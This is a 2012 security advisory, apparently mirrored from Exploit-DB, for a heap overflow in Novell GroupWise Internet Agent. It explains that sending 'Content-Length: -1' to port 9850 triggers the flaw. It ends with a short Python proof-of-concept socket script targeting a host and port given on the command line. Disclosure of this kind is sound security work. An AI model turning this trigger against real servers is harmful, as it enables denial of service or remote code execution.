Novell Groupwise 8.0.2 HP3 and 2012 – Integer Overflow

  • 作者: Francis Provencher
    日期: 2012-09-17
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/21326/
  • #####################################################################################
    
    Application: Novell Groupwise 
    
    Platforms: Windows
    Version: 8.0.2 HP3 and 2012
    
    Secunia: SA50622
    
    {PRL}: 2012-28
    
    Author: Francis Provencher (Protek Research Lab's) 
    
    Website: http://www.protekresearchlab.com/
    
    Twitter: @ProtekResearch
    
    
    #####################################################################################
    
    1) Introduction
    2) Report Timeline
    3) Technical details
    4) The Code
    
    
    #####################################################################################
    
    ===============
    1) Introduction
    ===============
    
    Novell, Inc. is a global software and services company based in Waltham, Massachusetts. The company specializes in
    
    enterprise operating systems, such as SUSE Linux Enterprise and Novell NetWare; identity, security, and systems
    management solutions; and collaboration solutions, such as Novell Groupwise and Novell Pulse. Novell was instrumental
    in making the Utah Valley a focus for technology and software development. Novell technology contributed to the
    emergence of local area networks, which displaced the dominant mainframe computing model and changed computing
    worldwide. Today, a primary focus of the company is on developing open source software for enterprise clients.
    
    (http://en.wikipedia.org/wiki/Novell)
    
    #####################################################################################
    
    ============================
    2) Report Timeline
    ============================
    
    2012-02-03Vulnerability reported to Secunia
    2012-09-14Publication of this advisory
    
    
    #####################################################################################
    
    ============================
    3) Technical details
    ============================
    The vulnerability is caused due to an integer overflow error in GroupWise Internet Agent (gwia.exe)
    when copying request data and can be exploited to cause a heap-based buffer overflow by e.g.
    sending a specially crafted request with the "Content-Length" header value set to "-1" to the web-based
    administration interface (TCP port 9850). Successful exploitation may allow execution of arbitrary code.
    
    
    #####################################################################################
    
    ===========
    4) The Code
    ===========
    
    #!/usr/bin/python
    
    import sys,os,socket
    
    if len(sys.argv) < 3:
    	print "Usage: host,port"
    	sys.exit(0)
    
    host=sys.argv[1]
    port=int(sys.argv[2])
    
    sock=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    
    sock.connect((host,port))
    
    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   
    print "done!"
    
    sock.close()